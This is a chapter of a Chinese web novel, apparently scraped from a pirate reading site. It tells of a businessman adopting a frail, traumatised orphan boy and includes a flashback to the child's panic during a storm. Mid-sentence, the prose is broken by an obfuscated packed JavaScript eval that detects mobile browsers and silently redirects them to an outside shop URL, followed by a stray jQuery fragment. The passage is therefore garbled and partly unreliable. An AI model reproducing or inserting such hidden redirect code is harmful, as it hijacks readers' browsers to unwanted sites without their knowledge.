8月,酷暑,烈阳。
蝉鸣此起彼伏,聒噪又热闹。
黑色的栅栏上,彩色的染料胡乱填充着沉闷的背景,还有各色纸叠的动物歪歪斜斜挂了一片。
好不容易一阵风吹过,栅栏低处挂着的粉色兔子直接“越狱”,轻飘飘落在了地上。
没有人在乎,所以它跟随人流起起伏伏,最终消失在了街角。
*
气氛带着焦灼和尴尬。
周华故捧着手上的档案,眉头紧锁,表情认真严肃,仿佛在处理上百亿的项目。
这很难得,他上周大笔一挥宣布收购A市中心CBD大楼时,都没有露出这样的神情。
【时年年,性别男,2003年8月10日进入大江福利院,弃婴。】
下面是小孩的入档体检报告和疫苗接种记录,以及大片的空白。
几张档案纸,由于信息的缺失实际并没有很多内容,周华故反反复复看了三遍以上,最后郑重地放回在桌上。
“之后的收养评估,我需要做什么准备吗?”
周华故换了个姿势,确保自己现在看上去无比正式。
一丝不苟的黑色西装让他看上去过分严肃,俊朗的脸上薄唇微抿,看不出喜怒。
他刻意用余光避开一旁用屁股对着自己的小年糕,刚刚却没忍住摩挲了几下资料上的彩色照片。
老院长老花镜架在脸上,瞥了瞥故作淡定的周华故,又瞅了瞅睡眼惺忪的时年年。
小小的待客沙发,硬生生被一大一小两个人坐出鸿沟的距离。
“民政部门会有自己的评估方式,你到时候把最自然的相处展示出来就好。”老院长推了推眼镜,“最近可以过来多看看年年。”
听到自己的名字,沙发角落窝着的一小团突然脑袋一点,像是刚从发呆的状态中反应过来,呆毛唰地一下跟着脑袋转了个弯。
带着婴儿肥的白嫩脸颊透着粉色晕圈,圆碌碌的眼睛因为刚睡醒还透着雾气,像一只香喷喷带着红晕的小年糕。
心里像是被什么击中了一下,一向喜怒不幸于色的周华故难得没做好表情管理。
就这么遏制不住地嘴角上升两个像素点。
小年糕像是刚被戳破脑门上的呼噜泡,终于后知后觉地反应过来自己已经被人从温暖的被窝里掏出来。
竖着的小呆毛在空气中摇晃了几下,刚刚回过神的小团子有些无措地看向了老院长。
陌生的气息似乎给他带来并不安稳的情绪,眼眶里打转着晶莹的泪珠,看上去好不可怜。
周家一直奉行的是独立教育,周华故没有碰到过这种什么都没干就开始掉金豆子的情况,一时也有些无措,就这么犹豫了半秒,眼前已经出现一双手稳稳地抱走了小团子。
“年年是我三年前救回来的,大冬天被人裹块布扔在福利院门口了。”老院长将时年年拢在怀里,小心擦去小团子脸上的泪珠,慢慢解释,“寒冬腊月,被冻得只剩一口气。”
“就医不及时,半岁的娃娃留下不少后遗症。”老院长斟酌着字句,“包括精神方面。”
老院长说的很含蓄,周华故却想起刚刚档案上标注的红色字体。
【轻微自闭,干预治疗效果不佳。】
【正常接受系统教育后,意外得到改善,但依旧存在排斥交往、惊惧陌生人现象,需额外注意心理情况。】
周华故凌厉的眉眼微微皱起,年近三十的上位者即使收敛了不怒自威的气势也让整间待客室的气氛降至冰点。
怀里的小人有些胆怯,表现得更加不安,老院长脸上闪现一丝紧张。
手续进行到一半突然宣布放弃领养并不是没有出现过的情况,尤其是在小年年身上。
“我会注意。”周华故突然开口,语气格外认真。
毛茸茸的脑袋突然停止向老院长怀里不断拱进的姿势,停顿一秒后小耳朵微妙地竖起。
“稍后我会联系国都儿童医学中心的沈博士,等时年……年年状态好一些的时候就可以尝试进行更加专业的治疗。”
脱口而出小团子的大名,说到一半突然觉得有些僵硬,最后从嘴里咕噜了一圈,婉转地简略成年年。
周华故心里格外妥帖,隐秘地感觉喊了这简称就和小年糕靠近一大步。
后面的谈话进行得无比顺利,老院长见识过太多人,能很快分辨出对方是真的认真想要领养时年年,但有些问题却也是不得不问出口的。
“我知道我的问题很冒昧,但出于负责我还是想说……”
老院长对着周华故认真的表情,莫名地有些紧张。
“您不久前才从国外回来,今天就来到这里指名道姓想要收养年年,甚至不惜捐出相当一大笔捐赠只为了走特殊流程。
但恕我直言……您似乎并不认识年年。”
空气莫名寂静了一瞬,周华故表情似乎有些不太自然。
老院长谨慎地盯着对方,眼里充满探究。
“我听说前两天福利院开展了防拐专项活动,原因是不久前年年被陌生人哄着带出去玩了大半天,福利院报警后发现对方是个没有恶意的十岁少年,才就此作罢没有继续追究。”
周华故干咳两声,心虚地摸了摸鼻子。
“那个差点进局子的人,叫周见,是我的混账弟弟。”
老院长的表情瞬间凝固在脸上。
——
两个月前,A市正处梅雨季,淅淅沥沥的小雨下的人心情烦躁。
时年年穿着黄鸭子雨衣从车上下来时,手上捏着一个小糖人。
他额前的碎发被打湿贴在脸上,衬得原本就白皙的小脸多了几分病气,漂亮的眼睛像颗晶莹的葡萄,扑闪扑闪地盯着糖人。
雨靴拖着在雨里在走着,显得有点吃力,不过两三步就有些喘不过气。
身后跟着的老人见状连忙跑了两步跟上,一把捞起时年年单手托在臂弯里。
“年年生病了不能淋雨,刚刚让你等院长爷爷怎么没有等呀。”
老院长碎碎叨叨,空着的手直接遮在年年的脸上,确保小孩淋不着雨了之后,三步并两步奔回了院里。
两个人到屋檐下的时候,小糖人已经沾上了雨水,光滑的表面粘腻了层油一般。
时年年不可思议地看了一圈,确认小糖人彻底不能吃了,瘪着嘴泪汪汪地看着院长爷爷。
老院长抱着小孩走进浴室,安慰道:“下次出去给你买新的。”
“今天也是没办法,你才刚生过病不能在外面呆太久。”
时年年吸了吸鼻子,乖乖垂着头,让院长爷爷用吹风机把自己脑袋吹干。
呆毛刚刚竖起,洗漱间就被人“砰砰砰”地敲响。
“院长,街道办来电,有个孩子的领养材料出了点问题,喊您现在过去一趟核对。”
门口是新来的实习老师。
老院长冲着门外答了声好,随后揉了揉时年年重新毛茸茸的脑袋,“年年先去活动室看会儿电视好不好?”
这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444223|201079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点其他小朋友大概率都在上课,也就意味着小孩要自己一个人呆着。
时年年抿着嘴,很小声地问:“不能和您一起去吗?”
小孩呆毛蔫唧唧地落了下去,看上去可怜极了。
老院长心疼道:“你刚刚生病才好,哪里好再出去吹风的。”
“我们年年最乖了对不对。”
时年年低垂着头,藏起眼里的水雾,闷闷地嗯了一声。
小孩最终还是一个人慢吞吞地离开了浴室。
窗外阴云密布,远处的寒喧声细细碎碎,雨滴不断拍打在窗台上。
活动室里空空荡荡,只有雪花屏的电视机正“吱吱啦啦”发出噪音。
门口时不时有老师走过,时年年抱着毯子张望了好几次,最终在一个眼熟的实习老师路过时鼓足勇气“哒哒哒”跑到门边。
“可以帮我救一下电视吗?”
小孩脆生生地开口,声音里带着不自然的颤抖。
但是没有任何回应,实习老师像没听到一样,笑着向走廊里另外一个老师走去。
两个人谈笑风生,悠哉悠哉地商量着后面几天的排班。
就好像浑然没看见时年年一样。
在他们漠然的背后,走廊里灯光昏暗,无数童稚的涂鸦、鲜艳的色彩此时却像童话故事里凶残的恶龙,在阴暗的角落里发出狰狞的微笑,蠢蠢欲动地凝视着胆怯的孩童。
他好像又回到小时候,那种无时无刻都在诚惶诚恐的窒息感。
自己行为举止一定是惹别人生了好大的气,所以才一次次忽视自己。
但这是不对的,这是不对的。
小孩惨白着脸,慢慢向后退去。
院长爷爷说过,年年很乖,没有欺负过任何人,也没有给别人带来麻烦。
所以这些都是假的,是年年晚上没睡好做的噩梦,也或是因为小时候生病生的太厉害了,所以让他脑袋有了些不好的影响而已。
脚边不知绊倒什么,身体不受控制地向后仰去,手掌被擦出疼痛,瓷缝里钻出的黑雾像是找准了机会,汹涌而出。
晶莹的泪珠挂在脸上,时年年却来不及擦拭,惊慌失措下地撑着半软的身体,跌跌撞撞向窗帘奔去。
空气中带着凝滞的潮气,厚重的霉味不断侵袭孩子的肺腑,远处忽近忽远,传来同龄人嬉笑的玩闹声。
小小的一团蜷缩在角落,耳边的玻璃忽然炸起急促的噼啪声,冷硬的烈风裹着水汽狠狠撞在窗上,一声接着一声,像是故事里专吃小孩的怪兽凶戾地想要闯进来。
“年年!”
“时年年!”
大病初愈加上情绪的剧烈起伏,小孩颤抖着喘着粗气,感觉自己身体里的热量正迅速流失。
意识快要崩溃时,耳边隐约传来焦急的呼唤。
一声又一声,只是交织在风雨之中,让时年年实在分辨不清到底来源于哪里,他也不敢抬头。
“砰!”
原本就摇摇欲坠的玻璃应声碎裂,与此同时,原本混乱变形的世界突然像被按下了暂停键。
耳边呼啸的狂风收了声势,砸向窗户的暴雨也骤然停歇,只剩下梅雨天特有的、绵绵的湿意。
灰蒙蒙的天光穿透层层云霭,细微却安稳地平铺在二楼最角落的活动室。
身体落入温热的怀抱,着急紧张的气息喷洒在额间,带着少年体温的外套将他整个罩住。
衬衣的皂香混杂着若有若无的松木,温暖而干净得像能扫平所有阴霾。